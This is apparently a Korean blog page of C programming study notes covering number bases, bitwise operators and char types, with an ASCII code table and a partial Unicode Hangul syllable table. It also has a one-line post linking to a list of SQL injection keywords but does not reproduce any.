달력

52024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

SQL Injection

Develope/Study 2008. 11. 10. 14:26
반응형
중국해커의 주요 SQL Injection 키워드 ::  http://cafe.naver.com/sec/758
반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형
10진수로 데이타를 써도 컴퓨터는 2진수로 저장한다. int a = 10;
   ==> 10진수지만 저장은 2진수로 저장한다.

8진수 저장시 int c = 012; => 10진수로는 10이다. 012는 8+2를 의미한다. 8진수니깐
16진수 저장시 int b = 0xa; => 10진수로는 10이다. 0xa는 10을 의미한다. 16진수니까.
모든 진수는 저장시 2진수로 저장된다.

진수가 달라도 내부적으로 2진수니까 연산이 가능하다.
실수는 항상 오차가 있으니 주의할 것

비트단위연산자
&연산자  : 비트단위 AND    int c = a&b;
|연산자  : 비트단위 OR a|b
^연산자 : XOR   a^b
~연산자 : NOT   ~a
<<연산자 : 왼쪽으로 이동  a<<2
>>연산자 : 오른쪽으로 이동 a>>2

ASCII(미국표준협회 ANSI에 의해 정의)아스키코드 : 문자 A는 숫자 65, 문자 B는 숫자 66 char변수는 -128~127사이의 정수를 저장할 수 있다. 그러나 기본적으로 문자를 저장하기 위해 사용한다. 아스키코드는 컴퓨터가 문자를 표현하지 못하기 때문에 컴퓨터의 2진수를 문자로 표현하기 위해 만든 규약이다.
아스키코드 범위 : 0이상 127이하이므로 char형 변수로 처리하는 것이 합리적이다.

표현 : 따옴표 ' ' 를 이용해서 표현한다. char ch1 = 'A'; (컴이 아스키코드표 참조해서
A가 65로 정의되었음을 알게 되고 문자 ch1 변수에 숫자65를 2진수로 저장한다.)

printf로 char 출력할 때 %d로 하면 저장된 숫자가 출력되고 %c로 하면 문자가 출력된다.
접미사에 따른 상수의 표현
u or U : unsigned int  사용법   304U
l or L : long   304L
ul or UL : unsigned long 304UL
f or F : float   3.15F
l or L : long double  3.15L
널(NULL)문자 : '\0' (아스키코드 값으로 0)



 Here is the ASCII Code Table.
 
  아스키 코드표
 
2진수____10진수_8진수_16진수_문자_설명
0000 0000   000   000     00  NUL NULL 문자
0000 0001   001   001     01  SOH 헤딩 시작(Start Of Header)
0000 0010   002   002     02  STX 본문 시작, 헤더 종료(Start of TeXt)
0000 0011   003   003     03  ETX 본문 종료(End of TeXt)
0000 0100   004   004     04  EOT 전송 종료, 데이터 링크 초기화(End Of Transmission)
0000 0101   005   005     05  ENQ 응답 요구(ENQuiry)
0000 0110   006   006     06  ACK 긍정응답(ACKnowledge)
0000 0111   007   007     07  BEL 경고음(BELl)
0000 1000   008   010     08  BS  박스페이스(BackSpace)
0000 1001   009   011     09  HT  수평 탭(Horizontal Tab)
0000 1010   010   012     0A  LF  개행(Line Feed)
0000 1011   011   013     0B  VT  수직 탭(Vertical Tab)
0000 1100   012   014     0C  FF  다음 페이지(Form Feed)
0000 1101   013   015     0D  CR  복귀(Carriage Return)
0000 1110   014   016     0E  SO  확장문자 시작(Shift Out)
0000 1111   015   017     0F  SI  확장문자 종료(Shift In)
0001 0000   016   020     10  DLE 전송제어 확장(Data Link Escape)
0001 0001   017   021     11  DC1 장치 제어
0001 0010   018   022     12  DC2 장치 제어
0001 0011   019   023     13  DC3 장치 제어
0001 0100   020   024     14  DC4 장치 제어
0001 0101   021   025     15  NAK 부정응답(Negative AcKnowledge)
0001 0110   022   026     16  SYN 동기(SYNnchronous idle)
0001 0111   023   027     17  ETB 전송블록 종료(End of Transmission Block)
0001 1000   024   030     18  CAN 무시(CANcel)
0001 1001   025   031     19  EM  매체 종료(End of Medium)
0001 1010   026   032     1A  SUB 치환(SUBstitute)
0001 1011   027   033     1B  ESC 제어기능 추가(ESCape)
0001 1100   028   034     1C  FS  파일경계 할당(File Seperator)
0001 1101   029   035     1D  GS  레코드 그룹경계 할당(Group Seperator)
0001 1110   030   036     1E  RS  레코드경계 할당(Record Seperator)
0001 1111   031   037     1F  US  장치경계 할당(Unit Seperator)
0010 0000   032   040     20  SPC 스페이스(SPaCe)
0010 0001   033   041     21  !
0010 0010   034   042     22  "
0010 0011   035   043     23  #
0010 0100   036   044     24  $
0010 0101   037   045     25  %
0010 0110   038   046     26  &
0010 0111   039   047     27  '
0010 1000   040   050     28  (
0010 1001   041   051     29  )
0010 1010   042   052     2A  *
0010 1011   043   053     2B  +
0010 1100   044   054     2C  ,
0010 1101   045   055     2D  -
0010 1110   046   056     2E  .
0010 1111   047   057     2F  /
0011 0000   048   060     30  0
0011 0001   049   061     31  1
0011 0010   050   062     32  2
0011 0011   051   063     33  3
0011 0100   052   064     34  4
0011 0101   053   065     35  5
0011 0110   054   066     36  6
0011 0111   055   067     37  7
0011 1000   056   070     38  8
0011 1001   057   071     39  9
0011 1010   058   072     3A  :
0011 1011   059   073     3B  ;
0011 1100   060   074     3C  <
0011 1101   061   075     3D  =
0011 1110   062   076     3E  >
0011 1111   063   077     3F  ?
0100 0000   064   100     40  @
0100 0001   065   101     41  A
0100 0010   066   102     42  B
0100 0011   067   103     43  C
0100 0100   068   104     44  D
0100 0101   069   105     45  E
0100 0110   070   106     46  F
0100 0111   071   107     47  G
0100 1000   072   110     48  H
0100 1001   073   111     49  I
0100 1010   074   112     4A  J
0100 1011   075   113     4B  K
0100 1100   076   114     4C  L
0100 1101   077   115     4D  M
0100 1110   078   116     4E  N
0100 1111   079   117     4F  O
0101 0000   080   120     50  P
0101 0001   081   121     51  Q
0101 0010   082   122     52  R
0101 0011   083   123     53  S
0101 0100   084   124     54  T
0101 0101   085   125     55  U
0101 0110   086   126     56  V
0101 0111   087   127     57  W
0101 1000   088   130     58  X
0101 1001   089   131     59  Y
0101 1010   090   132     5A  Z
0101 1011   091   133     5B  [
0101 1100   092   134     5C  \
0101 1101   093   135     5D  ]
0101 1110   094   136     5E  ^
0101 1111   095   137     5F  _
0110 0000   096   140     60  `
0110 0001   097   141     61  a
0110 0010   098   142     62  b
0110 0011   099   143     63  c
0110 0100   100   144     64  d
0110 0101   101   145     65  e
0110 0110   102   146     66  f
0110 0111   103   147     67  g
0110 1000   104   150     68  h
0110 1001   105   151     69  i
0110 1010   106   152     6A  j
0110 1011   107   153     6B  k
0110 1100   108   154     6C  l
0110 1101   109   155     6D  m
0110 1110   110   156     6E  n
0110 1111   111   157     6F  o
0111 0000   112   160     70  p
0111 0001   113   161     71  q
0111 0010   114   162     72  r
0111 0011   115   163     73  s
0111 0100   116   164     74  t
0111 0101   117   165     75  u
0111 0110   118   166     76  v
0111 0111   119   167     77  w
0111 1000   120   170     78  x
0111 1001   121   171     79  y
0111 1010   122   172     7A  z
0111 1011   123   173     7B  {
0111 1100   124   174     7C  |
0111 1101   125   175     7D  }
0111 1110   126   176     7E  ~
0111 1111   127   177     7F  DEL 삭제(DELete)
 


 

UNICODE HANGUL SYLLABLES
그건 아스크 코드가 아니라 유니코드라고 합니다. 그리고 ㄱ,ㄴ이런걸로 있는게 아니라 하나의 가나다라 이런식으로 되어 있구요.. 유니코드표는 아래와 같습니다. 이거 카피해서 메모장에 넣구요.. 하나의 음씩 찾기해서 해보세요.. ^^
만약 "감사합니다"를 쓸경우 아래와 같습니다.
44048[감] 49324[사] 54633[합] 45768[니] 45796[다]


44032: 가각갂갃간갅갆갇갈갉갊갋갌갍갎갏감갑값갓갔강갖갗갘같갚갛 :44059
44060: 개객갞갟갠갡갢갣갤갥갦갧갨갩갪갫갬갭갮갯갰갱갲갳갴갵갶갷 :44087
44088: 갸갹갺갻갼갽갾갿걀걁걂걃걄걅걆걇걈걉걊걋걌걍걎걏걐걑걒걓 :44115
44116: 걔걕걖걗걘걙걚걛걜걝걞걟걠걡걢걣걤걥걦걧걨걩걪걫걬걭걮걯 :44143
44144: 거걱걲걳건걵걶걷걸걹걺걻걼걽걾걿검겁겂것겄겅겆겇겈겉겊겋 :44171
44172: 게겍겎겏겐겑겒겓겔겕겖겗겘겙겚겛겜겝겞겟겠겡겢겣겤겥겦겧 :44199
44200: 겨격겪겫견겭겮겯결겱겲겳겴겵겶겷겸겹겺겻겼경겾겿곀곁곂곃 :44227
44228: 계곅곆곇곈곉곊곋곌곍곎곏곐곑곒곓곔곕곖곗곘곙곚곛곜곝곞곟 :44255
44256: 고곡곢곣곤곥곦곧골곩곪곫곬곭곮곯곰곱곲곳곴공곶곷곸곹곺곻 :44283
44284: 과곽곾곿관괁괂괃괄괅괆괇괈괉괊괋괌괍괎괏괐광괒괓괔괕괖괗 :44311
44312: 괘괙괚괛괜괝괞괟괠괡괢괣괤괥괦괧괨괩괪괫괬괭괮괯괰괱괲괳 :44339
44340: 괴괵괶괷괸괹괺괻괼괽괾괿굀굁굂굃굄굅굆굇굈굉굊굋굌굍굎굏 :44367
44368: 교굑굒굓굔굕굖굗굘굙굚굛굜굝굞굟굠굡굢굣굤굥굦굧굨굩굪굫 :44395
44396: 구국굮굯군굱굲굳굴굵굶굷굸굹굺굻굼굽굾굿궀궁궂궃궄궅궆궇 :44423
44424: 궈궉궊궋권궍궎궏궐궑궒궓궔궕궖궗궘궙궚궛궜궝궞궟궠궡궢궣 :44451
44452: 궤궥궦궧궨궩궪궫궬궭궮궯궰궱궲궳궴궵궶궷궸궹궺궻궼궽궾궿 :44479
44480: 귀귁귂귃귄귅귆귇귈귉귊귋귌귍귎귏귐귑귒귓귔귕귖귗귘귙귚귛 :44507
44508: 규귝귞귟균귡귢귣귤귥귦귧귨귩귪귫귬귭귮귯귰귱귲귳귴귵귶귷 :44535
44536: 그극귺귻근귽귾귿글긁긂긃긄긅긆긇금급긊긋긌긍긎긏긐긑긒긓 :44563
44564: 긔긕긖긗긘긙긚긛긜긝긞긟긠긡긢긣긤긥긦긧긨긩긪긫긬긭긮긯 :44591
44592: 기긱긲긳긴긵긶긷길긹긺긻긼긽긾긿김깁깂깃깄깅깆깇깈깉깊깋 :44619
44620: 까깍깎깏깐깑깒깓깔깕깖깗깘깙깚깛깜깝깞깟깠깡깢깣깤깥깦깧 :44647
44648: 깨깩깪깫깬깭깮깯깰깱깲깳깴깵깶깷깸깹깺깻깼깽깾깿꺀꺁꺂꺃 :44675
44676: 꺄꺅꺆꺇꺈꺉꺊꺋꺌꺍꺎꺏꺐꺑꺒꺓꺔꺕꺖꺗꺘꺙꺚꺛꺜꺝꺞꺟 :44703
44704: 꺠꺡꺢꺣꺤꺥꺦꺧꺨꺩꺪꺫꺬꺭꺮꺯꺰꺱꺲꺳꺴꺵꺶꺷꺸꺹꺺꺻 :44731
44732: 꺼꺽꺾꺿껀껁껂껃껄껅껆껇껈껉껊껋껌껍껎껏껐껑껒껓껔껕껖껗 :44759
44760: 께껙껚껛껜껝껞껟껠껡껢껣껤껥껦껧껨껩껪껫껬껭껮껯껰껱껲껳 :44787
44788: 껴껵껶껷껸껹껺껻껼껽껾껿꼀꼁꼂꼃꼄꼅꼆꼇꼈꼉꼊꼋꼌꼍꼎꼏 :44815
44816: 꼐꼑꼒꼓꼔꼕꼖꼗꼘꼙꼚꼛꼜꼝꼞꼟꼠꼡꼢꼣꼤꼥꼦꼧꼨꼩꼪꼫 :44843
44844: 꼬꼭꼮꼯꼰꼱꼲꼳꼴꼵꼶꼷꼸꼹꼺꼻꼼꼽꼾꼿꽀꽁꽂꽃꽄꽅꽆꽇 :44871
44872: 꽈꽉꽊꽋꽌꽍꽎꽏꽐꽑꽒꽓꽔꽕꽖꽗꽘꽙꽚꽛꽜꽝꽞꽟꽠꽡꽢꽣 :44899
44900: 꽤꽥꽦꽧꽨꽩꽪꽫꽬꽭꽮꽯꽰꽱꽲꽳꽴꽵꽶꽷꽸꽹꽺꽻꽼꽽꽾꽿 :44927
44928: 꾀꾁꾂꾃꾄꾅꾆꾇꾈꾉꾊꾋꾌꾍꾎꾏꾐꾑꾒꾓꾔꾕꾖꾗꾘꾙꾚꾛 :44955
44956: 꾜꾝꾞꾟꾠꾡꾢꾣꾤꾥꾦꾧꾨꾩꾪꾫꾬꾭꾮꾯꾰꾱꾲꾳꾴꾵꾶꾷 :44983
44984: 꾸꾹꾺꾻꾼꾽꾾꾿꿀꿁꿂꿃꿄꿅꿆꿇꿈꿉꿊꿋꿌꿍꿎꿏꿐꿑꿒꿓 :45011
45012: 꿔꿕꿖꿗꿘꿙꿚꿛꿜꿝꿞꿟꿠꿡꿢꿣꿤꿥꿦꿧꿨꿩꿪꿫꿬꿭꿮꿯 :45039
45040: 꿰꿱꿲꿳꿴꿵꿶꿷꿸꿹꿺꿻꿼꿽꿾꿿뀀뀁뀂뀃뀄뀅뀆뀇뀈뀉뀊뀋 :45067
45068: 뀌뀍뀎뀏뀐뀑뀒뀓뀔뀕뀖뀗뀘뀙뀚뀛뀜뀝뀞뀟뀠뀡뀢뀣뀤뀥뀦뀧 :45095
45096: 뀨뀩뀪뀫뀬뀭뀮뀯뀰뀱뀲뀳뀴뀵뀶뀷뀸뀹뀺뀻뀼뀽뀾뀿끀끁끂끃 :45123
45124: 끄끅끆끇끈끉끊끋끌끍끎끏끐끑끒끓끔끕끖끗끘끙끚끛끜끝끞끟 :45151
45152: 끠끡끢끣끤끥끦끧끨끩끪끫끬끭끮끯끰끱끲끳끴끵끶끷끸끹끺끻 :45179
45180: 끼끽끾끿낀낁낂낃낄낅낆낇낈낉낊낋낌낍낎낏낐낑낒낓낔낕낖낗 :45207
45208: 나낙낚낛난낝낞낟날낡낢낣낤낥낦낧남납낪낫났낭낮낯낰낱낲낳 :45235
45236: 내낵낶낷낸낹낺낻낼낽낾낿냀냁냂냃냄냅냆냇냈냉냊냋냌냍냎냏 :45263
45264: 냐냑냒냓냔냕냖냗냘냙냚냛냜냝냞냟냠냡냢냣냤냥냦냧냨냩냪냫 :45291
45292: 냬냭냮냯냰냱냲냳냴냵냶냷냸냹냺냻냼냽냾냿넀넁넂넃넄넅넆넇 :45319
45320: 너넉넊넋넌넍넎넏널넑넒넓넔넕넖넗넘넙넚넛넜넝넞넟넠넡넢넣 :45347
45348: 네넥넦넧넨넩넪넫넬넭넮넯넰넱넲넳넴넵넶넷넸넹넺넻넼넽넾넿 :45375
45376: 녀녁녂녃년녅녆녇녈녉녊녋녌녍녎녏념녑녒녓녔녕녖녗녘녙녚녛 :45403
45404: 녜녝녞녟녠녡녢녣녤녥녦녧녨녩녪녫녬녭녮녯녰녱녲녳녴녵녶녷 :45431
45432: 노녹녺녻논녽녾녿놀놁놂놃놄놅놆놇놈놉놊놋놌농놎놏놐놑높놓 :45459
45460: 놔놕놖놗놘놙놚놛놜놝놞놟놠놡놢놣놤놥놦놧놨놩놪놫놬놭놮놯 :45487
45488: 놰놱놲놳놴놵놶놷놸놹놺놻놼놽놾놿뇀뇁뇂뇃뇄뇅뇆뇇뇈뇉뇊뇋 :45515
45516: 뇌뇍뇎뇏뇐뇑뇒뇓뇔뇕뇖뇗뇘뇙뇚뇛뇜뇝뇞뇟뇠뇡뇢뇣뇤뇥뇦뇧 :45543
45544: 뇨뇩뇪뇫뇬뇭뇮뇯뇰뇱뇲뇳뇴뇵뇶뇷뇸뇹뇺뇻뇼뇽뇾뇿눀눁눂눃 :45571
45572: 누눅눆눇눈눉눊눋눌눍눎눏눐눑눒눓눔눕눖눗눘눙눚눛눜눝눞눟 :45599
45600: 눠눡눢눣눤눥눦눧눨눩눪눫눬눭눮눯눰눱눲눳눴눵눶눷눸눹눺눻 :45627
45628: 눼눽눾눿뉀뉁뉂뉃뉄뉅뉆뉇뉈뉉뉊뉋뉌뉍뉎뉏뉐뉑뉒뉓뉔뉕뉖뉗 :45655
45656: 뉘뉙뉚뉛뉜뉝뉞뉟뉠뉡뉢뉣뉤뉥뉦뉧뉨뉩뉪뉫뉬뉭뉮뉯뉰뉱뉲뉳 :45683
45684: 뉴뉵뉶뉷뉸뉹뉺뉻뉼뉽뉾뉿늀늁늂늃늄늅늆늇늈늉늊늋늌늍늎늏 :45711
45712: 느늑늒늓는늕늖늗늘늙늚늛늜늝늞늟늠늡늢늣늤능늦늧늨늩늪늫 :45739
45740: 늬늭늮늯늰늱늲늳늴늵늶늷늸늹늺늻늼늽늾늿닀닁닂닃닄닅닆닇 :45767
45768: 니닉닊닋닌닍닎닏닐닑닒닓닔닕닖닗님닙닚닛닜닝닞닟닠닡닢닣 :45795
45796: 다닥닦닧단닩닪닫달닭닮닯닰닱닲닳담답닶닷닸당닺닻닼닽닾닿 :45823
45824: 대댁댂댃댄댅댆댇댈댉댊댋댌댍댎댏댐댑댒댓댔댕댖댗댘댙댚댛 :45851
45852: 댜댝댞댟댠댡댢댣댤댥댦댧댨댩댪댫댬댭댮댯댰댱댲댳댴댵댶댷 :45879
45880: 댸댹댺댻댼댽댾댿덀덁덂덃덄덅덆덇덈덉덊덋덌덍덎덏덐덑덒덓 :45907
45908: 더덕덖덗던덙덚덛덜덝덞덟덠덡덢덣덤덥덦덧덨덩덪덫덬덭덮덯 :45935
45936: 데덱덲덳덴덵덶덷델덹덺덻덼덽덾덿뎀뎁뎂뎃뎄뎅뎆뎇뎈뎉뎊뎋 :45963
45964: 뎌뎍뎎뎏뎐뎑뎒뎓뎔뎕뎖뎗뎘뎙뎚뎛뎜뎝뎞뎟뎠뎡뎢뎣뎤뎥뎦뎧 :45991
45992: 뎨뎩뎪뎫뎬뎭뎮뎯뎰뎱뎲뎳뎴뎵뎶뎷뎸뎹뎺뎻뎼뎽뎾뎿돀돁돂돃 :46019
46020: 도독돆돇돈돉돊돋돌돍돎돏돐돑돒돓돔돕돖돗돘동돚돛돜돝돞돟 :46047
46048: 돠돡돢돣돤돥돦돧돨돩돪돫돬돭돮돯돰돱돲돳돴돵돶돷돸돹돺돻 :46075
46076: 돼돽돾돿됀됁됂됃됄됅됆됇됈됉됊됋됌됍됎됏됐됑됒됓됔됕됖됗 :46103
46104: 되됙됚됛된됝됞됟될됡됢됣됤됥됦됧됨됩됪됫됬됭됮됯됰됱됲됳 :46131
46132: 됴됵됶됷됸됹됺됻됼됽됾됿둀둁둂둃둄둅둆둇둈둉둊둋둌둍둎둏 :46159
46160: 두둑둒둓둔둕둖둗둘둙둚둛둜둝둞둟둠둡둢둣둤둥둦둧둨둩둪둫 :46187
46188: 둬둭둮둯둰둱둲둳둴둵둶둷둸둹둺둻둼둽둾둿뒀뒁뒂뒃뒄뒅뒆뒇 :46215
46216: 뒈뒉뒊뒋뒌뒍뒎뒏뒐뒑뒒뒓뒔뒕뒖뒗뒘뒙뒚뒛뒜뒝뒞뒟뒠뒡뒢뒣 :46243
46244: 뒤뒥뒦뒧뒨뒩뒪뒫뒬뒭뒮뒯뒰뒱뒲뒳뒴뒵뒶뒷뒸뒹뒺뒻뒼뒽뒾뒿 :46271
46272: 듀듁듂듃듄듅듆듇듈듉듊듋듌듍듎듏듐듑듒듓듔듕듖듗듘듙듚듛 :46299
46300: 드득듞듟든듡듢듣들듥듦듧듨듩듪듫듬듭듮듯듰등듲듳듴듵듶듷 :46327
46328: 듸듹듺듻듼듽듾듿딀딁딂딃딄딅딆딇딈딉딊딋딌딍딎딏딐딑딒딓 :46355
46356: 디딕딖딗딘딙딚딛딜딝딞딟딠딡딢딣딤딥딦딧딨딩딪딫딬딭딮딯 :46383
46384: 따딱딲딳딴딵딶딷딸딹딺딻딼딽딾딿땀땁땂땃땄땅땆땇땈땉땊땋 :46411
46412: 때땍땎땏땐땑땒땓땔땕땖땗땘땙땚땛땜땝땞땟땠땡땢땣땤땥땦땧 :46439
46440: 땨땩땪땫땬땭땮땯땰땱땲땳땴땵땶땷땸땹땺땻땼땽땾땿떀떁떂떃 :46467
46468: 떄떅떆떇떈떉떊떋떌떍떎떏떐떑떒떓떔떕떖떗떘떙떚떛떜떝떞떟 :46495
46496: 떠떡떢떣떤떥떦떧떨떩떪떫떬떭떮떯떰떱떲떳떴떵떶떷떸떹떺떻 :46523
46524: 떼떽떾떿뗀뗁뗂뗃뗄뗅뗆뗇뗈뗉뗊뗋뗌뗍뗎뗏뗐뗑뗒뗓뗔뗕뗖뗗 :46551
46552: 뗘뗙뗚뗛뗜뗝뗞뗟뗠뗡뗢뗣뗤뗥뗦뗧뗨뗩뗪뗫뗬뗭뗮뗯뗰뗱뗲뗳 :46579
46580: 뗴뗵뗶뗷뗸뗹뗺뗻뗼뗽뗾뗿똀똁똂똃똄똅똆똇똈똉똊똋똌똍똎똏 :46607
46608: 또똑똒똓똔똕똖똗똘똙똚똛똜똝똞똟똠똡똢똣똤똥똦똧똨똩똪똫 :46635
46636: 똬똭똮똯똰똱똲똳똴똵똶똷똸똹똺똻똼똽똾똿뙀뙁뙂뙃뙄뙅뙆뙇 :46663
46664: 뙈뙉뙊뙋뙌뙍뙎뙏뙐뙑뙒뙓뙔뙕뙖뙗뙘뙙뙚뙛뙜뙝뙞뙟뙠뙡뙢뙣 :46691
46692: 뙤뙥뙦뙧뙨뙩뙪뙫뙬뙭뙮뙯뙰뙱뙲뙳뙴뙵뙶뙷뙸뙹뙺뙻뙼뙽뙾뙿 :46719
46720: 뚀뚁뚂뚃뚄뚅뚆뚇뚈뚉뚊뚋뚌뚍뚎뚏뚐뚑뚒뚓뚔뚕뚖뚗뚘뚙뚚뚛 :46747
46748: 뚜뚝뚞뚟뚠뚡뚢뚣뚤뚥뚦뚧뚨뚩뚪뚫뚬뚭뚮뚯뚰뚱뚲뚳뚴뚵뚶뚷 :46775
46776: 뚸뚹뚺뚻뚼뚽뚾뚿뛀뛁뛂뛃뛄뛅뛆뛇뛈뛉뛊뛋뛌뛍뛎뛏뛐뛑뛒뛓 :46803
46804: 뛔뛕뛖뛗뛘뛙뛚뛛뛜뛝뛞뛟뛠뛡뛢뛣뛤뛥뛦뛧뛨뛩뛪뛫뛬뛭뛮뛯 :46831
46832: 뛰뛱뛲뛳뛴뛵뛶뛷뛸뛹뛺뛻뛼뛽뛾뛿뜀뜁뜂뜃뜄뜅뜆뜇뜈뜉뜊뜋 :46859
46860: 뜌뜍뜎뜏뜐뜑뜒뜓뜔뜕뜖뜗뜘뜙뜚뜛뜜뜝뜞뜟뜠뜡뜢뜣뜤뜥뜦뜧 :46887
46888: 뜨뜩뜪뜫뜬뜭뜮뜯뜰뜱뜲뜳뜴뜵뜶뜷뜸뜹뜺뜻뜼뜽뜾뜿띀띁띂띃 :46915
46916: 띄띅띆띇띈띉띊띋띌띍띎띏띐띑띒띓띔띕띖띗띘띙띚띛띜띝띞띟 :46943
46944: 띠띡띢띣띤띥띦띧띨띩띪띫띬띭띮띯띰띱띲띳띴띵띶띷띸띹띺띻 :46971
46972: 라락띾띿란랁랂랃랄랅랆랇랈랉랊랋람랍랎랏랐랑랒랓랔랕랖랗 :46999
47000: 래랙랚랛랜랝랞랟랠랡랢랣랤랥랦랧램랩랪랫랬랭랮랯랰랱랲랳 :47027
47028: 랴략랶랷랸랹랺랻랼랽랾랿럀럁럂럃럄럅럆럇럈량럊럋럌럍럎럏 :47055
47056: 럐럑럒럓럔럕럖럗럘럙럚럛럜럝럞럟럠럡럢럣럤럥럦럧럨럩럪럫 :47083
47084: 러럭럮럯런럱럲럳럴럵럶럷럸럹럺럻럼럽럾럿렀렁렂렃렄렅렆렇 :47111
47112: 레렉렊렋렌렍렎렏렐렑렒렓렔렕렖렗렘렙렚렛렜렝렞렟렠렡렢렣 :47139
47140: 려력렦렧련렩렪렫렬렭렮렯렰렱렲렳렴렵렶렷렸령렺렻렼렽렾렿 :47167
47168: 례롁롂롃롄롅롆롇롈롉롊롋롌롍롎롏롐롑롒롓롔롕롖롗롘롙롚롛 :47195
47196: 로록롞롟론롡롢롣롤롥롦롧롨롩롪롫롬롭롮롯롰롱롲롳롴롵롶롷 :47223
47224: 롸롹롺롻롼롽롾롿뢀뢁뢂뢃뢄뢅뢆뢇뢈뢉뢊뢋뢌뢍뢎뢏뢐뢑뢒뢓 :47251
47252: 뢔뢕뢖뢗뢘뢙뢚뢛뢜뢝뢞뢟뢠뢡뢢뢣뢤뢥뢦뢧뢨뢩뢪뢫뢬뢭뢮뢯 :47279
47280: 뢰뢱뢲뢳뢴뢵뢶뢷뢸뢹뢺뢻뢼뢽뢾뢿룀룁룂룃룄룅룆룇룈룉룊룋 :47307
47308: 료룍룎룏룐룑룒룓룔룕룖룗룘룙룚룛룜룝룞룟룠룡룢룣룤룥룦룧 :47335
47336: 루룩룪룫룬룭룮룯룰룱룲룳룴룵룶룷룸룹룺룻룼룽룾룿뤀뤁뤂뤃 :47363
47364: 뤄뤅뤆뤇뤈뤉뤊뤋뤌뤍뤎뤏뤐뤑뤒뤓뤔뤕뤖뤗뤘뤙뤚뤛뤜뤝뤞뤟 :47391
47392: 뤠뤡뤢뤣뤤뤥뤦뤧뤨뤩뤪뤫뤬뤭뤮뤯뤰뤱뤲뤳뤴뤵뤶뤷뤸뤹뤺뤻 :47419
47420: 뤼뤽뤾뤿륀륁륂륃륄륅륆륇륈륉륊륋륌륍륎륏륐륑륒륓륔륕륖륗 :47447
47448: 류륙륚륛륜륝륞륟률륡륢륣륤륥륦륧륨륩륪륫륬륭륮륯륰륱륲륳 :47475
47476: 르륵륶륷른륹륺륻를륽륾륿릀릁릂릃름릅릆릇릈릉릊릋릌릍릎릏 :47503
47504: 릐릑릒릓릔릕릖릗릘릙릚릛릜릝릞릟릠릡릢릣릤릥릦릧릨릩릪릫 :47531
47532: 리릭릮릯린릱릲릳릴릵릶릷릸릹릺릻림립릾릿맀링맂맃맄맅맆맇 :47559
47560: 마막맊맋만맍많맏말맑맒맓맔맕맖맗맘맙맚맛맜망맞맟맠맡맢맣 :47587
47588: 매맥맦맧맨맩맪맫맬맭맮맯맰맱맲맳맴맵맶맷맸맹맺맻맼맽맾맿 :47615
47616: 먀먁먂먃먄먅먆먇먈먉먊먋먌먍먎먏먐먑먒먓먔먕먖먗먘먙먚먛 :47643
47644: 먜먝먞먟먠먡먢먣먤먥먦먧먨먩먪먫먬먭먮먯먰먱먲먳먴먵먶먷 :47671
47672: 머먹먺먻먼먽먾먿멀멁멂멃멄멅멆멇멈멉멊멋멌멍멎멏멐멑멒멓 :47699
47700: 메멕멖멗멘멙멚멛멜멝멞멟멠멡멢멣멤멥멦멧멨멩멪멫멬멭멮멯 :47727
47728: 며멱멲멳면멵멶멷멸멹멺멻멼멽멾멿몀몁몂몃몄명몆몇몈몉몊몋 :47755
47756: 몌몍몎몏몐몑몒몓몔몕몖몗몘몙몚몛몜몝몞몟몠몡몢몣몤몥몦몧 :47783
47784: 모목몪몫몬몭몮몯몰몱몲몳몴몵몶몷몸몹몺못몼몽몾몿뫀뫁뫂뫃 :47811
47812: 뫄뫅뫆뫇뫈뫉뫊뫋뫌뫍뫎뫏뫐뫑뫒뫓뫔뫕뫖뫗뫘뫙뫚뫛뫜뫝뫞뫟 :47839
47840: 뫠뫡뫢뫣뫤뫥뫦뫧뫨뫩뫪뫫뫬뫭뫮뫯뫰뫱뫲뫳뫴뫵뫶뫷뫸뫹뫺뫻 :47867
47868: 뫼뫽뫾뫿묀묁묂묃묄묅묆묇묈묉묊묋묌묍묎묏묐묑묒묓묔묕묖묗 :47895
47896: 묘묙묚묛묜묝묞묟묠묡묢묣묤묥묦묧묨묩묪묫묬묭묮묯묰묱묲묳 :47923
47924: 무묵묶묷문묹묺묻물묽묾묿뭀뭁뭂뭃뭄뭅뭆뭇뭈뭉뭊뭋뭌뭍뭎뭏 :47951
47952: 뭐뭑뭒뭓뭔뭕뭖뭗뭘뭙뭚뭛뭜뭝뭞뭟뭠뭡뭢뭣뭤뭥뭦뭧뭨뭩뭪뭫 :47979
47980: 뭬뭭뭮뭯뭰뭱뭲뭳뭴뭵뭶뭷뭸뭹뭺뭻뭼뭽뭾뭿뮀뮁뮂뮃뮄뮅뮆뮇 :48007
48008: 뮈뮉뮊뮋뮌뮍뮎뮏뮐뮑뮒뮓뮔뮕뮖뮗뮘뮙뮚뮛뮜뮝뮞뮟뮠뮡뮢뮣 :48035
48036: 뮤뮥뮦뮧뮨뮩뮪뮫뮬뮭뮮뮯뮰뮱뮲뮳뮴뮵뮶뮷뮸뮹뮺뮻뮼뮽뮾뮿 :48063
48064: 므믁믂믃믄믅믆믇믈믉믊믋믌믍믎믏믐믑믒믓믔믕믖믗믘믙믚믛 :48091
48092: 믜믝믞믟믠믡믢믣믤믥믦믧믨믩믪믫믬믭믮믯믰믱믲믳믴믵믶믷 :48119
48120: 미믹믺믻민믽믾믿밀밁밂밃밄밅밆밇밈밉밊밋밌밍밎및밐밑밒밓 :48147
48148: 바박밖밗반밙밚받발밝밞밟밠밡밢밣밤밥밦밧밨방밪밫밬밭밮밯 :48175
48176: 배백밲밳밴밵밶밷밸밹밺밻밼밽밾밿뱀뱁뱂뱃뱄뱅뱆뱇뱈뱉뱊뱋 :48203
48204: 뱌뱍뱎뱏뱐뱑뱒뱓뱔뱕뱖뱗뱘뱙뱚뱛뱜뱝뱞뱟뱠뱡뱢뱣뱤뱥뱦뱧 :48231
48232: 뱨뱩뱪뱫뱬뱭뱮뱯뱰뱱뱲뱳뱴뱵뱶뱷뱸뱹뱺뱻뱼뱽뱾뱿벀벁벂벃 :48259
48260: 버벅벆벇번벉벊벋벌벍벎벏벐벑벒벓범법벖벗벘벙벚벛벜벝벞벟 :48287
48288: 베벡벢벣벤벥벦벧벨벩벪벫벬벭벮벯벰벱벲벳벴벵벶벷벸벹벺벻 :48315
48316: 벼벽벾벿변볁볂볃별볅볆볇볈볉볊볋볌볍볎볏볐병볒볓볔볕볖볗 :48343
